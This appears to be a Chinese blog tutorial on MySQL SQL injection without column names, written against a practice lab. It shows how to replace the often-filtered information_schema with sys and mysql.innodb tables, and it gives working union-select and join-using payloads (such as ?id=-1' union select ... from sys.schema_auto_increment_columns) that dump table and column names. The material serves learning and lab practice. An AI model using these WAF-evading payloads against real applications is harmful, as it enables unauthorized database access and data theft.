sql注入之无列名注入

目录

一、基础知识

二、平替information_schema库

三、无列名注入

3.1 正常无列名查询:

3.2 子查询:

3.3 实战


一、基础知识

  我们在注入的过程中很多时候利用的就是information_schema这个库获取 table_schema table_name, column_name这些数据库内的信息,而在市面上很多厂商的waf会对其进行过滤和黑名单,而我们在不使用information_schema库,那只能去看看mysql中其他与生俱来的库,这个时候sys库就尤为显眼

二、平替information_schema库

在 Mysql 5.7 版本中新增了 sys.schema ,基础数据 来自于 performance_schema和information_sche两个库中,其本身并不存储数据。

所以 就有了几个可以代替 information_schema 注入的作用

sys.x$schema_table_statistics_with_buffer

sys.x$schema_table_statistics

sys.x$ps_schema_table_statistics_io

查库名: 

 

查表名:

SELECT * FROM x$schema_table_statistics;

但是 sys.schema_auto_increment_columns 这个库有点局限 需要root 才能访问。

类似的,可以利用的表还有 :

mysql.innodb_table_statsmysql.innodb_table_index同样存放有库名表名

总结一下:

sys.schema_auto_increment_columns 

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index
数据库名/表名/列名未知
寻找列名?
均可代替 information_schema

三、无列名注入

通过上面铺垫我们知道sys库中可以获取到表明和库名,那怎么拿数据呢????或者说列名怎么拿

利用 join-using 注列名

由于join是将两张表的列名给加起来,所以有可能会产生相同的列名,而在使用别名时,是不允出现相同的列名的,因此当它们两个一起使用时,就会爆出相同的列名的名称,从而获得列名

3.1 正常无列名查询:

无列名注入关键 就是要猜测表里有多少个列,要一一对应上,下面例子是有3个列
1,2,3 的作用就是对列起别名,替换为后面无列名注入做准备

select 1,2,3 union select * from users;

3.2 子查询:

接着就可以使用数字来对应列进行查询,如3对应了表里面的pass,这样我们就可以实现无列名注入了

select a.3 from (select 1,2,3 union select * from users) as a;

3.3 实战

我们用sql注入靶场来举例

爆表名
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

爆字段名
获取第一列的字段名及后面每一列字段名
?id=-1' select * from (select * from users as a join users )
id

?id=-1' union select * from (select * from users as a join users b using(id))c--+

?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
数据库中as作用是起别名,as是可以省略的,为了增加可读性,建议不省略。

  • 6
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值